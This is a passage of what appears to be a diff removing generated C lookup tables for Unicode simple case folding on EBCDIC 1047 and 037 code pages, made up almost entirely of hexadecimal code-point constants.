0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77E, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AB, - 0xA7AC, - 0xA7AD, - 0xA7AE, - 0xA7AF, - 0xA7B0, - 0xA7B1, - 0xA7B2, - 0xA7B3, - 0xA7B4, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xAB70, - 0xABC0, - 0xFF21, - 0xFF3B, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1E900, - 0x1E922 -}; - -static const int Simple_Case_Folding_invmap[] = { /* for EBCDIC 1047 */ - 0, - 0x42, - 0, - 0x51, - 0, - 0x70, - 0, - 0x9C, - 0, - 0x3BC, - 0, - 0x8C, - 0, - 0x8E, - 0, - 0x8D, - 0, - 0x81, - 0, - 0x91, - 0, - 0xA2, - 0, - 0xCB, - 0, - 0xDB, - 0, - 0x101, - 0, - 0x103, - 0, - 0x105, - 0, - 0x107, - 0, - 0x109, - 0, - 0x10B, - 0, - 0x10D, - 0, - 0x10F, - 0, - 0x111, - 0, - 0x113, - 0, - 0x115, - 0, - 0x117, - 0, - 0x119, - 0, - 0x11B, - 0, - 0x11D, - 0, - 0x11F, - 0, - 0x121, - 0, - 0x123, - 0, - 0x125, - 0, - 0x127, - 0, - 0x129, - 0, - 0x12B, - 0, - 0x12D, - 0, - 0x12F, - 0, - 0x133, - 0, - 0x135, - 0, - 0x137, - 0, - 0x13A, - 0, - 0x13C, - 0, - 0x13E, - 0, - 0x140, - 0, - 0x142, - 0, - 0x144, - 0, - 0x146, - 0, - 0x148, - 0, - 0x14B, - 0, - 0x14D, - 0, - 0x14F, - 0, - 0x151, - 0, - 0x153, - 0, - 0x155, - 0, - 0x157, - 0, - 0x159, - 0, - 0x15B, - 0, - 0x15D, - 0, - 0x15F, - 0, - 0x161, - 0, - 0x163, - 0, - 0x165, - 0, - 0x167, - 0, - 0x169, - 0, - 0x16B, - 0, - 0x16D, - 0, - 0x16F, - 0, - 0x171, - 0, - 0x173, - 0, - 0x175, - 0, - 0x177, - 0, - 0xDF, - 0x17A, - 0, - 0x17C, - 0, - 0x17E, - 0, - 0xA2, - 0, - 0x253, - 0x183, - 0, - 0x185, - 0, - 0x254, - 0x188, - 0, - 0x256, - 0x18C, - 0, - 0x1DD, - 0x259, - 0x25B, - 0x192, - 0, - 0x260, - 0x263, - 0, - 0x269, - 0x268, - 0x199, - 0, - 0x26F, - 0x272, - 0, - 0x275, - 0x1A1, - 0, - 0x1A3, - 0, - 0x1A5, - 0, - 0x280, - 0x1A8, - 0, - 0x283, - 0, - 0x1AD, - 0, - 0x288, - 0x1B0, - 0, - 0x28A, - 0x1B4, - 0, - 0x1B6, - 0, - 0x292, - 0x1B9, - 0, - 0x1BD, - 0, - 0x1C6, - 0x1C6, - 0, - 0x1C9, - 0x1C9, - 0, - 0x1CC, - 0x1CC, - 0, - 0x1CE, - 0, - 0x1D0, - 0, - 0x1D2, - 0, - 0x1D4, - 0, - 0x1D6, - 0, - 0x1D8, - 0, - 0x1DA, - 0, - 0x1DC, - 0, - 0x1DF, - 0, - 0x1E1, - 0, - 0x1E3, - 0, - 0x1E5, - 0, - 0x1E7, - 0, - 0x1E9, - 0, - 0x1EB, - 0, - 0x1ED, - 0, - 0x1EF, - 0, - 0x1F3, - 0x1F3, - 0, - 0x1F5, - 0, - 0x195, - 0x1BF, - 0x1F9, - 0, - 0x1FB, - 0, - 0x1FD, - 0, - 0x1FF, - 0, - 0x201, - 0, - 0x203, - 0, - 0x205, - 0, - 0x207, - 0, - 0x209, - 0, - 0x20B, - 0, - 0x20D, - 0, - 0x20F, - 0, - 0x211, - 0, - 0x213, - 0, - 0x215, - 0, - 0x217, - 0, - 0x219, - 0, - 0x21B, - 0, - 0x21D, - 0, - 0x21F, - 0, - 0x19E, - 0, - 0x223, - 0, - 0x225, - 0, - 0x227, - 0, - 0x229, - 0, - 0x22B, - 0, - 0x22D, - 0, - 0x22F, - 0, - 0x231, - 0, - 0x233, - 0, - 0x2C65, - 0x23C, - 0, - 0x19A, - 0x2C66, - 0, - 0x242, - 0, - 0x180, - 0x289, - 0x28C, - 0x247, - 0, - 0x249, - 0, - 0x24B, - 0, - 0x24D, - 0, - 0x24F, - 0, - 0x3B9, - 0, - 0x371, - 0, - 0x373, - 0, - 0x377, - 0, - 0x3F3, - 0, - 0x3AC, - 0, - 0x3AD, - 0, - 0x3CC, - 0, - 0x3CD, - 0, - 0x3B1, - 0, - 0x3C3, - 0, - 0x3C3, - 0, - 0x3D7, - 0x3B2, - 0x3B8, - 0, - 0x3C6, - 0x3C0, - 0, - 0x3D9, - 0, - 0x3DB, - 0, - 0x3DD, - 0, - 0x3DF, - 0, - 0x3E1, - 0, - 0x3E3, - 0, - 0x3E5, - 0, - 0x3E7, - 0, - 0x3E9, - 0, - 0x3EB, - 0, - 0x3ED, - 0, - 0x3EF, - 0, - 0x3BA, - 0x3C1, - 0, - 0x3B8, - 0x3B5, - 0, - 0x3F8, - 0, - 0x3F2, - 0x3FB, - 0, - 0x37B, - 0x450, - 0x430, - 0, - 0x461, - 0, - 0x463, - 0, - 0x465, - 0, - 0x467, - 0, - 0x469, - 0, - 0x46B, - 0, - 0x46D, - 0, - 0x46F, - 0, - 0x471, - 0, - 0x473, - 0, - 0x475, - 0, - 0x477, - 0, - 0x479, - 0, - 0x47B, - 0, - 0x47D, - 0, - 0x47F, - 0, - 0x481, - 0, - 0x48B, - 0, - 0x48D, - 0, - 0x48F, - 0, - 0x491, - 0, - 0x493, - 0, - 0x495, - 0, - 0x497, - 0, - 0x499, - 0, - 0x49B, - 0, - 0x49D, - 0, - 0x49F, - 0, - 0x4A1, - 0, - 0x4A3, - 0, - 0x4A5, - 0, - 0x4A7, - 0, - 0x4A9, - 0, - 0x4AB, - 0, - 0x4AD, - 0, - 0x4AF, - 0, - 0x4B1, - 0, - 0x4B3, - 0, - 0x4B5, - 0, - 0x4B7, - 0, - 0x4B9, - 0, - 0x4BB, - 0, - 0x4BD, - 0, - 0x4BF, - 0, - 0x4CF, - 0x4C2, - 0, - 0x4C4, - 0, - 0x4C6, - 0, - 0x4C8, - 0, - 0x4CA, - 0, - 0x4CC, - 0, - 0x4CE, - 0, - 0x4D1, - 0, - 0x4D3, - 0, - 0x4D5, - 0, - 0x4D7, - 0, - 0x4D9, - 0, - 0x4DB, - 0, - 0x4DD, - 0, - 0x4DF, - 0, - 0x4E1, - 0, - 0x4E3, - 0, - 0x4E5, - 0, - 0x4E7, - 0, - 0x4E9, - 0, - 0x4EB, - 0, - 0x4ED, - 0, - 0x4EF, - 0, - 0x4F1, - 0, - 0x4F3, - 0, - 0x4F5, - 0, - 0x4F7, - 0, - 0x4F9, - 0, - 0x4FB, - 0, - 0x4FD, - 0, - 0x4FF, - 0, - 0x501, - 0, - 0x503, - 0, - 0x505, - 0, - 0x507, - 0, - 0x509, - 0, - 0x50B, - 0, - 0x50D, - 0, - 0x50F, - 0, - 0x511, - 0, - 0x513, - 0, - 0x515, - 0, - 0x517, - 0, - 0x519, - 0, - 0x51B, - 0, - 0x51D, - 0, - 0x51F, - 0, - 0x521, - 0, - 0x523, - 0, - 0x525, - 0, - 0x527, - 0, - 0x529, - 0, - 0x52B, - 0, - 0x52D, - 0, - 0x52F, - 0, - 0x561, - 0, - 0x2D00, - 0, - 0x2D27, - 0, - 0x2D2D, - 0, - 0x13F0, - 0, - 0x432, - 0x434, - 0x43E, - 0x441, - 0x442, - 0x44A, - 0x463, - 0xA64B, - 0, - 0x1E01, - 0, - 0x1E03, - 0, - 0x1E05, - 0, - 0x1E07, - 0, - 0x1E09, - 0, - 0x1E0B, - 0, - 0x1E0D, - 0, - 0x1E0F, - 0, - 0x1E11, - 0, - 0x1E13, - 0, - 0x1E15, - 0, - 0x1E17, - 0, - 0x1E19, - 0, - 0x1E1B, - 0, - 0x1E1D, - 0, - 0x1E1F, - 0, - 0x1E21, - 0, - 0x1E23, - 0, - 0x1E25, - 0, - 0x1E27, - 0, - 0x1E29, - 0, - 0x1E2B, - 0, - 0x1E2D, - 0, - 0x1E2F, - 0, - 0x1E31, - 0, - 0x1E33, - 0, - 0x1E35, - 0, - 0x1E37, - 0, - 0x1E39, - 0, - 0x1E3B, - 0, - 0x1E3D, - 0, - 0x1E3F, - 0, - 0x1E41, - 0, - 0x1E43, - 0, - 0x1E45, - 0, - 0x1E47, - 0, - 0x1E49, - 0, - 0x1E4B, - 0, - 0x1E4D, - 0, - 0x1E4F, - 0, - 0x1E51, - 0, - 0x1E53, - 0, - 0x1E55, - 0, - 0x1E57, - 0, - 0x1E59, - 0, - 0x1E5B, - 0, - 0x1E5D, - 0, - 0x1E5F, - 0, - 0x1E61, - 0, - 0x1E63, - 0, - 0x1E65, - 0, - 0x1E67, - 0, - 0x1E69, - 0, - 0x1E6B, - 0, - 0x1E6D, - 0, - 0x1E6F, - 0, - 0x1E71, - 0, - 0x1E73, - 0, - 0x1E75, - 0, - 0x1E77, - 0, - 0x1E79, - 0, - 0x1E7B, - 0, - 0x1E7D, - 0, - 0x1E7F, - 0, - 0x1E81, - 0, - 0x1E83, - 0, - 0x1E85, - 0, - 0x1E87, - 0, - 0x1E89, - 0, - 0x1E8B, - 0, - 0x1E8D, - 0, - 0x1E8F, - 0, - 0x1E91, - 0, - 0x1E93, - 0, - 0x1E95, - 0, - 0x1E61, - 0, - 0x59, - 0, - 0x1EA1, - 0, - 0x1EA3, - 0, - 0x1EA5, - 0, - 0x1EA7, - 0, - 0x1EA9, - 0, - 0x1EAB, - 0, - 0x1EAD, - 0, - 0x1EAF, - 0, - 0x1EB1, - 0, - 0x1EB3, - 0, - 0x1EB5, - 0, - 0x1EB7, - 0, - 0x1EB9, - 0, - 0x1EBB, - 0, - 0x1EBD, - 0, - 0x1EBF, - 0, - 0x1EC1, - 0, - 0x1EC3, - 0, - 0x1EC5, - 0, - 0x1EC7, - 0, - 0x1EC9, - 0, - 0x1ECB, - 0, - 0x1ECD, - 0, - 0x1ECF, - 0, - 0x1ED1, - 0, - 0x1ED3, - 0, - 0x1ED5, - 0, - 0x1ED7, - 0, - 0x1ED9, - 0, - 0x1EDB, - 0, - 0x1EDD, - 0, - 0x1EDF, - 0, - 0x1EE1, - 0, - 0x1EE3, - 0, - 0x1EE5, - 0, - 0x1EE7, - 0, - 0x1EE9, - 0, - 0x1EEB, - 0, - 0x1EED, - 0, - 0x1EEF, - 0, - 0x1EF1, - 0, - 0x1EF3, - 0, - 0x1EF5, - 0, - 0x1EF7, - 0, - 0x1EF9, - 0, - 0x1EFB, - 0, - 0x1EFD, - 0, - 0x1EFF, - 0, - 0x1F00, - 0, - 0x1F10, - 0, - 0x1F20, - 0, - 0x1F30, - 0, - 0x1F40, - 0, - 0x1F51, - 0, - 0x1F53, - 0, - 0x1F55, - 0, - 0x1F57, - 0, - 0x1F60, - 0, - 0x1F80, - 0, - 0x1F90, - 0, - 0x1FA0, - 0, - 0x1FB0, - 0x1F70, - 0x1FB3, - 0, - 0x3B9, - 0, - 0x1F72, - 0x1FC3, - 0, - 0x1FD0, - 0x1F76, - 0, - 0x1FE0, - 0x1F7A, - 0x1FE5, - 0, - 0x1F78, - 0x1F7C, - 0x1FF3, - 0, - 0x3C9, - 0, - 0x92, - 0x47, - 0, - 0x214E, - 0, - 0x2170, - 0, - 0x2184, - 0, - 0x24D0, - 0, - 0x2C30, - 0, - 0x2C61, - 0, - 0x26B, - 0x1D7D, - 0x27D, - 0, - 0x2C68, - 0, - 0x2C6A, - 0, - 0x2C6C, - 0, - 0x251, - 0x271, - 0x250, - 0x252, - 0, - 0x2C73, - 0, - 0x2C76, - 0, - 0x23F, - 0x2C81, - 0, - 0x2C83, - 0, - 0x2C85, - 0, - 0x2C87, - 0, - 0x2C89, - 0, - 0x2C8B, - 0, - 0x2C8D, - 0, - 0x2C8F, - 0, - 0x2C91, - 0, - 0x2C93, - 0, - 0x2C95, - 0, - 0x2C97, - 0, - 0x2C99, - 0, - 0x2C9B, - 0, - 0x2C9D, - 0, - 0x2C9F, - 0, - 0x2CA1, - 0, - 0x2CA3, - 0, - 0x2CA5, - 0, - 0x2CA7, - 0, - 0x2CA9, - 0, - 0x2CAB, - 0, - 0x2CAD, - 0, - 0x2CAF, - 0, - 0x2CB1, - 0, - 0x2CB3, - 0, - 0x2CB5, - 0, - 0x2CB7, - 0, - 0x2CB9, - 0, - 0x2CBB, - 0, - 0x2CBD, - 0, - 0x2CBF, - 0, - 0x2CC1, - 0, - 0x2CC3, - 0, - 0x2CC5, - 0, - 0x2CC7, - 0, - 0x2CC9, - 0, - 0x2CCB, - 0, - 0x2CCD, - 0, - 0x2CCF, - 0, - 0x2CD1, - 0, - 0x2CD3, - 0, - 0x2CD5, - 0, - 0x2CD7, - 0, - 0x2CD9, - 0, - 0x2CDB, - 0, - 0x2CDD, - 0, - 0x2CDF, - 0, - 0x2CE1, - 0, - 0x2CE3, - 0, - 0x2CEC, - 0, - 0x2CEE, - 0, - 0x2CF3, - 0, - 0xA641, - 0, - 0xA643, - 0, - 0xA645, - 0, - 0xA647, - 0, - 0xA649, - 0, - 0xA64B, - 0, - 0xA64D, - 0, - 0xA64F, - 0, - 0xA651, - 0, - 0xA653, - 0, - 0xA655, - 0, - 0xA657, - 0, - 0xA659, - 0, - 0xA65B, - 0, - 0xA65D, - 0, - 0xA65F, - 0, - 0xA661, - 0, - 0xA663, - 0, - 0xA665, - 0, - 0xA667, - 0, - 0xA669, - 0, - 0xA66B, - 0, - 0xA66D, - 0, - 0xA681, - 0, - 0xA683, - 0, - 0xA685, - 0, - 0xA687, - 0, - 0xA689, - 0, - 0xA68B, - 0, - 0xA68D, - 0, - 0xA68F, - 0, - 0xA691, - 0, - 0xA693, - 0, - 0xA695, - 0, - 0xA697, - 0, - 0xA699, - 0, - 0xA69B, - 0, - 0xA723, - 0, - 0xA725, - 0, - 0xA727, - 0, - 0xA729, - 0, - 0xA72B, - 0, - 0xA72D, - 0, - 0xA72F, - 0, - 0xA733, - 0, - 0xA735, - 0, - 0xA737, - 0, - 0xA739, - 0, - 0xA73B, - 0, - 0xA73D, - 0, - 0xA73F, - 0, - 0xA741, - 0, - 0xA743, - 0, - 0xA745, - 0, - 0xA747, - 0, - 0xA749, - 0, - 0xA74B, - 0, - 0xA74D, - 0, - 0xA74F, - 0, - 0xA751, - 0, - 0xA753, - 0, - 0xA755, - 0, - 0xA757, - 0, - 0xA759, - 0, - 0xA75B, - 0, - 0xA75D, - 0, - 0xA75F, - 0, - 0xA761, - 0, - 0xA763, - 0, - 0xA765, - 0, - 0xA767, - 0, - 0xA769, - 0, - 0xA76B, - 0, - 0xA76D, - 0, - 0xA76F, - 0, - 0xA77A, - 0, - 0xA77C, - 0, - 0x1D79, - 0xA77F, - 0, - 0xA781, - 0, - 0xA783, - 0, - 0xA785, - 0, - 0xA787, - 0, - 0xA78C, - 0, - 0x265, - 0, - 0xA791, - 0, - 0xA793, - 0, - 0xA797, - 0, - 0xA799, - 0, - 0xA79B, - 0, - 0xA79D, - 0, - 0xA79F, - 0, - 0xA7A1, - 0, - 0xA7A3, - 0, - 0xA7A5, - 0, - 0xA7A7, - 0, - 0xA7A9, - 0, - 0x266, - 0x25C, - 0x261, - 0x26C, - 0x26A, - 0, - 0x29E, - 0x287, - 0x29D, - 0xAB53, - 0xA7B5, - 0, - 0xA7B7, - 0, - 0x13A0, - 0, - 0xFF41, - 0, - 0x10428, - 0, - 0x104D8, - 0, - 0x10CC0, - 0, - 0x118C0, - 0, - 0x1E922, - 0 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV Simple_Case_Folding_invlist[] = { /* for EBCDIC 037 */ - 1280, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x80, - 0x81, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x179, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x182, - 0x183, - 0x184, - 0x185, - 0x186, - 0x187, - 0x188, - 0x189, - 0x18B, - 0x18C, - 0x18E, - 0x18F, - 0x190, - 0x191, - 0x192, - 0x193, - 0x194, - 0x195, - 0x196, - 0x197, - 0x198, - 0x199, - 0x19C, - 0x19D, - 0x19E, - 0x19F, - 0x1A0, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A7, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1AF, - 0x1B0, - 0x1B1, - 0x1B3, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B8, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C5, - 0x1C6, - 0x1C7, - 0x1C8, - 0x1C9, - 0x1CA, - 0x1CB, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F2, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F7, - 0x1F8, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23B, - 0x23C, - 0x23D, - 0x23E, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x244, - 0x245, - 0x246, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x345, - 0x346, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3C2, - 0x3C3, - 0x3CF, - 0x3D0, - 0x3D1, - 0x3D2, - 0x3D5, - 0x3D6, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F1, - 0x3F2, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FA, - 0x3FB, - 0x3FD, - 0x400, - 0x410, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C1, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C81, - 0x1C82, - 0x1C83, - 0x1C85, - 0x1C86, - 0x1C87, - 0x1C88, - 0x1C89, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9B, - 0x1E9C, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 